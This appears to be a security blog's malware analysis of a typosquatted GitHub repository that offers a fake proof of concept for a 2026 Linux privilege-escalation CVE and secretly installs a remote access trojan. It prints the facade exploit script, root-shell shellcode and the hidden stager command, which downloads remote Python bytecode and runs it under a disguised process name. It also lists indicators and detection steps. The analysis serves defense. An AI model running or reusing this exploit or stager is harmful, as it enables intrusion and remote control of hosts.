Fake PoC, Real Backdoor: How a Typosquatted Repo Weaponized CVE-2026-31431

2026-04-30

Analysis of a typosquatting campaign exploiting the CVE-2026-31431 disclosure window


1. Background: The CVE That Set the Community on Fire

On April 29, 2026, security firm Xint published the technical details of CVE-2026-31431, nicknamed "Copy Fail". The tagline said it all: "732 Bytes to Root on Every Major Linux Distribution."

Unlike Dirty Cow (CVE-2016-5195), which required winning a race condition, or Dirty Pipe (CVE-2022-0847), which was version-specific, Copy Fail is a straight-line logic flaw — deterministic, no retries, no crashes. A single 732-byte Python script using only standard library modules (os, socket, zlib) is enough to get a root shell on Ubuntu, Amazon Linux, RHEL, and SUSE — no recompilation, no dependency installation, and crucially, no trace on disk: only the in-memory page cache is corrupted, so standard file integrity tools comparing on-disk checksums will miss the modification entirely.

It is precisely this combination — reliability, portability, and stealth — that made Copy Fail the perfect bait for a social engineering campaign.


2. The Trap: Anatomy of the Malicious Repository

2.1 The Typosquat

In the hours following the disclosure, a link appeared on r/securityCTF promising a universal LPE exploit for the CVE. The URL read: github.com/Theori-lO/copy-fail-CVE-2026-31431

Original Reddit post on /r/securityCTF

The account behind the post, Proof_Art_8587, was created on the same day as the CVE disclosure, a classic sign of a "burner" account used for propagation.

Account profile showing creation date

Beyond the suspicious account, the link itself was the primary deception. To the tired human eye, the URL appears to point to Theori-IO. To a machine — or a careful investigator — it's Theori-lO (lowercase letter L in place of uppercase I), a ghost organization with no connection to the official theori-io account.

The repository was carefully dressed to pass scrutiny:

  • A README with a tested-distributions table matching the legitimate write-up
  • A link to the real xint.io article for credibility
  • The standard one-liner install: curl ... | python3
  • GitHub topics: proof-of-concept, cve-2026-31431

2.2 The Facade Exploit: copy_fail_exp.py

The script is deliberately crafted to look legitimate to anyone familiar with the CVE. Here is the full source code:

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279  # SOL_ALG
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0'*64))  # ALG_SET_KEY
    v(h, 5, None, 4)                         # ALG_SET_AEAD_AUTHSIZE (4 bytes)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg(
        [b"A"*4 + c],
        [(h, 3, i*4),            # ALG_SET_IV
         (h, 2, b'\x10' + i*19), # ALG_SET_OP (decrypt)
         (h, 4, b'\x08' + i*3)], # ALG_SET_AEAD_AUTHSIZE
        32768
    )
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0

# [1] Binary ELF payload — shellcode to inject into the page cache
e = zlib.decompress(d("78da..."))

# [2] Hidden stager — silently executed via os.system() during "exploitation"
g.system(zlib.decompress(bytes.fromhex("789c...")).decode())

# Injection loop: 4 bytes at a time into /usr/bin/su
while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

Everything is there to reassure a hurried analyst: the AF_ALG socket, the binding to authencesn(hmac(sha256),cbc(aes)), the splice() calls, the 4-byte injection loop. It is a functionally convincing reproduction of the real exploitation primitive.

The sleight of hand happens in the two compressed blobs — and in the ordering of operations.


3. Dissecting the Compressed Payloads

3.1 Payload [1]: A 160-byte Minimal ELF

The first zlib blob decompresses to a 160-byte x86-64 ELF binary — the shellcode intended to be injected into /usr/bin/su's page cache:

Magic:   7f 45 4c 46 02 01 01 00  →  ELF64, little-endian
Type:    ET_EXEC
Machine: x86-64
Entry:   0x400078

Disassembly of the executable section (40 bytes):

; setuid(0) — privilege escalation
xor  eax, eax          ; eax = 0
xor  edi, edi          ; uid target = 0 (root)
mov  al, 0x69          ; syscall 105 = setuid()
syscall                ; setuid(0)

; execve("/bin/sh", NULL, NULL) — root shell
lea  rdi, [rip+0xf]    ; rdi → "/bin/sh"
xor  esi, esi          ; argv = NULL
push 0x3b              ; syscall 59 = execve()
pop  rax
cdq                    ; rdx = 0 (envp = NULL)
syscall                ; execve("/bin/sh", NULL, NULL)

; exit(0)
xor  edi, edi
push 0x3c              ; syscall 60 = exit()
pop  rax
syscall

.data: "/bin/sh\x00"

A classic minimalist shellcode: setuid(0) to guarantee root privileges, followed by execve("/bin/sh"). 40 opcodes + 8 bytes of string literal, wrapped in a single-segment PT_LOAD ELF. This part of the script is essentially legitimate — it is the actual exploitation logic for the real CVE.

3.2 The Hidden Stager [2]: The Real Payload

This is where the trap closes. While the user watches the injection loop run, the second zlib blob is silently decompressed and passed to os.system(). The decoded command is:

echo "import urllib.request,marshal; exec(marshal.loads(urllib.request.urlopen(
  'https://github.com/JenniferClures/copy-fail-CVE-2026-31431/raw/refs/heads/main/poc.pyc'
).read()[16:]))" | bash -c 'exec -a "/usr/lib/systemd/systemd-resolved" python3'

Several evasion techniques stack on top of each other here.

In-memory execution via Python compiled bytecode. poc.pyc is a compiled Python file. urllib.request.urlopen(...).read()[16:] fetches it and strips the 16-byte .pyc header, then marshal.loads() deserializes the raw code object, and exec() runs it directly in memory — no Python source file is ever written to disk.

Process name masking via exec -a. The bash -c 'exec -a "/usr/lib/systemd/systemd-resolved" python3' construction relaunches Python while replacing argv[0] with the path of a legitimate system daemon. In top, htop, or ps aux, the process appears as:

/usr/lib/systemd/systemd-resolved

Secondary unrelated repository. The RAT is fetched from a JenniferClures account — with no obvious link to the typosquatted organization, making account-correlation detection harder.


4. The RAT: Inside poc.pyc

Decompiling the Python bytecode reveals a fully-featured Remote Access Trojan. This is where the attack moves from nuisance to professional-grade intrusion.

4.1 In-Memory Persistence

Once loaded, the implant erases any trace of itself from the filesystem. It lives exclusively in RAM, under the identity of systemd-resolved, and restarts by re-fetching poc.pyc from the C2 if the process is ever killed.

4.2 Command & Control via Cloudflare Tunnel

The RAT establishes a persistent heartbeat connection to:

bumper-consequence-apollo-applies.trycloudflare.com

The use of a Cloudflare Tunnel is deliberate. Outbound traffic points to Cloudflare infrastructure — trusted, globally distributed, and whitelisted in virtually every corporate firewall and IP blacklist. There is no malicious IP to block. The traffic blends into the background noise of the internet.

4.3 Double-Layer Encryption

Inside the TLS tunnel, communications are further encrypted with a custom XOR key:

XOR_KEY = [42, 17, 99, 255]  # 0x2A, 0x11, 0x63, 0xFF

This layering — TLS wrapping XOR-encrypted payloads — defeats trivial signature-based detection on decrypted TLS content and complicates forensic reconstruction of C2 traffic.

4.4 RAT Capabilities

Feature Description
Shell execution Arbitrary command execution on the compromised host
File transfer Bidirectional upload and download
Network reconnaissance Internal network scan for lateral movement
Self-update Reload poc.pyc from the C2 on demand

5. Detection & Investigation

5.1 Indicators of Compromise (IoCs)

Type Value
C2 domain bumper-consequence-apollo-applies.trycloudflare.com
Malicious main repo github.com/Theori-lO/copy-fail-CVE-2026-31431 (lowercase L)
RAT repository github.com/JenniferClures/copy-fail-CVE-2026-31431
RAT file poc.pyc (compiled Python bytecode)
Masqueraded process Python3 with argv[0] = /usr/lib/systemd/systemd-resolved
XOR key [42, 17, 99, 255]

5.2 Unmasking the Hidden Process

The exec -a trick fools ps, top, and htop on the displayed name, but not on the actual binary being executed. Several approaches to unmask it:

# Read the actual binary path
ls -la /proc/<PID>/exe

# Compare comm (displayed) vs cmdline (real argv[0])
cat /proc/<PID>/comm      # → systemd-resolved (displayed)
cat /proc/<PID>/cmdline   # → /usr/bin/python3  (real)

# Check network connections owned by the process
ss -tulnp | grep <PID>
lsof -p <PID> | grep IPv

A legitimate systemd-resolved listens on UDP/53 and UDP/5355 for DNS. If you see a process under that name maintaining a persistent outbound HTTPS connection to a trycloudflare.com domain, treat the host as compromised.

5.3 Detecting Page Cache Corruption

Since the Copy Fail write only touches the page cache and not the disk, sha256sum, AIDE, or any other on-disk integrity tool will report the file as clean. To detect corruption:

# Force page cache eviction and compare hashes
sync
echo 3 > /proc/sys/vm/drop_caches
sha256sum /usr/bin/su   # If different from your baseline → page cache was corrupted

# Or use vmtouch to inspect cached pages
vmtouch -v /usr/bin/su

6. Mitigating the Real CVE

For administrators who have not yet patched, here is the actual remediation path.

Apply the upstream kernel patch. Commit a664bf3d603d reverts algif_aead.c to out-of-place operation, removing page cache pages from the writable destination scatterlist entirely. Update your distribution's kernel package through the normal update channel.

Immediate mitigation without a kernel update. Disable the algif_aead module:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

Confirmed affected distributions:

Distribution Kernel
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default

Any distribution running a kernel shipped between 2017 and the 2026 patch is potentially vulnerable.


7. Takeaways

Urgency is an attack surface. The window between a critical CVE disclosure and patch deployment is exactly when defenders are most likely to execute unverified code. This campaign exploits that window with precision.

A technically convincing PoC is the best lure. The script uses the exact right syscalls (AF_ALG, authencesn, splice()), the correct constants (SOL_ALG = 279), and the right exploitation structure. An analyst who knows the CVE will be reassured by the technical fidelity — and that is precisely the intended effect.

Typosquatting on security research accounts is under-detected. Theori-lO vs theori-io: one character, invisible under pressure. Verify URLs character by character before executing anything.

Compiled Python bytecode is an effective evasion technique. .pyc files contain marshalled bytecode, not source. Most AV/EDR solutions have significantly weaker signatures for Python bytecode than for PE/ELF binaries or plaintext Python scripts.

Never run curl | python3 on a critical CVE PoC. Even from an apparently legitimate account. Download, read, decompress every embedded blob, and understand every line before running anything — in an isolated environment.


Technical sources: official Xint write-up (xint.io/blog/copy-fail-linux-distributions), source code analysis of the Theori-lO/copy-fail-CVE-2026-31431 repository, and manual decoding of the embedded zlib payloads.